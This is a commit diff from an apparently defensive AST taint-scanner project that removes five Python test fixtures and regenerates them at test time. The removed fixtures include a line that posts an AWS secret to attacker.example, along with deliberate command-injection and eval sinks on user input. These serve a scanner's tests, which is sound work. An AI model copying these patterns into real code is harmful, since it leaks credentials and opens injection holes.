test(ast-taint): materialize the ast-scan fixtures at test time
The five Python taint fixtures under tests/fixtures/ast-scan/ move into tests/helpers/payload-trees.mjs as the `ast-scan` tree, written to a temp dir by the test like the three S1 trees. av-surface probe (d) gains the directory: 5 -> 6 trees. PM decision (S3 order): creds-net.py is os.environ -> requests.post, the exfiltration shape AV classifiers are trained on; one rule, "no payload-shaped runnable file on disk", is easier to defend than an exception. The .py files match no SIG rule and are stored as plain lines. Deviation from the order: it named three files (sinks, creds-net, scope); the directory holds five (also reassign.py, sentinel.py). Gating the directory means all five move. Measured: (d) red first, d=1 (5 files) of 6 trees, then 0. sha256 of all five on-disk files taken before git rm; payload-trees.test.mjs asserts them, mutation-checked (one byte in creds-net.py -> red, restored byte-identical). ast-taint-scanner.test.mjs 12/12 with the materialized tree, both before and after the files were removed. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
parent
965b1d9bca
commit
d5ff537599
8 changed files with 99 additions and 68 deletions
9
tests/fixtures/ast-scan/creds-net.py
vendored
9
tests/fixtures/ast-scan/creds-net.py
vendored
|
|
@ -1,9 +0,0 @@
|
|||
import os
|
||||
import requests
|
||||
|
||||
|
||||
def exfiltrate():
|
||||
# Source: os.environ -> intermediate variable -> network sink.
|
||||
secret = os.environ["AWS_SECRET"]
|
||||
url = "https://attacker.example/collect"
|
||||
requests.post(url, data=secret)
|
||||
17
tests/fixtures/ast-scan/reassign.py
vendored
17
tests/fixtures/ast-scan/reassign.py
vendored
|
|
@ -1,17 +0,0 @@
|
|||
import os
|
||||
import shlex
|
||||
|
||||
# Taint must CLEAR when a name is rebound to a non-source value (#29).
|
||||
# Neither function below may produce a finding.
|
||||
|
||||
|
||||
def reassigned_constant():
|
||||
g = os.getenv("G") # tainted source
|
||||
g = "safe-constant" # rebound to a literal -> taint must clear
|
||||
os.system(g) # must NOT be flagged
|
||||
|
||||
|
||||
def sanitized_reassignment():
|
||||
x = input("path> ") # tainted source
|
||||
x = shlex.quote(x) # rebound to a non-source call -> taint must clear
|
||||
os.system(x) # must NOT be flagged
|
||||
12
tests/fixtures/ast-scan/scope.py
vendored
12
tests/fixtures/ast-scan/scope.py
vendored
|
|
@ -1,12 +0,0 @@
|
|||
# The variable `data` exists in both functions, but only one is tainted.
|
||||
# A scope-aware analysis must flag handler_one and leave handler_two alone.
|
||||
|
||||
|
||||
def handler_one(prompt):
|
||||
data = input(prompt) # tainted source
|
||||
eval(data) # sink -> should be flagged
|
||||
|
||||
|
||||
def handler_two(prompt):
|
||||
data = "a constant value" # literal, NOT tainted
|
||||
eval(data) # same var name, must NOT be flagged
|
||||
6
tests/fixtures/ast-scan/sentinel.py
vendored
6
tests/fixtures/ast-scan/sentinel.py
vendored
|
|
@ -1,6 +0,0 @@
|
|||
import os
|
||||
|
||||
# Parse-only safety canary. If the AST helper ever EXECUTES this file instead
|
||||
# of merely PARSING it (ast.parse), it creates a file named SENTINEL in the
|
||||
# working directory. The test asserts SENTINEL never appears.
|
||||
os.system("touch SENTINEL")
|
||||
20
tests/fixtures/ast-scan/sinks.py
vendored
20
tests/fixtures/ast-scan/sinks.py
vendored
|
|
@ -1,20 +0,0 @@
|
|||
import os
|
||||
import subprocess
|
||||
|
||||
# Locks the subprocess/os.system command sinks and the file-write sink (#28).
|
||||
|
||||
|
||||
def run_user_command():
|
||||
cmd = input("cmd> ") # tainted source
|
||||
subprocess.run(cmd, shell=True) # sink: subprocess.* -> AST-CMD-EXEC
|
||||
|
||||
|
||||
def shell_from_env():
|
||||
target = os.getenv("TARGET") # tainted source
|
||||
os.system(target) # sink: os.system -> AST-CMD-EXEC
|
||||
|
||||
|
||||
def leak_to_file():
|
||||
payload = os.environ["DATA"] # tainted source
|
||||
log = open("out.txt", "w") # write handle
|
||||
log.write(payload) # sink: file.write -> AST-FILE-WRITE (high)
|
||||
Loading…
Add table
Add a link
Reference in a new issue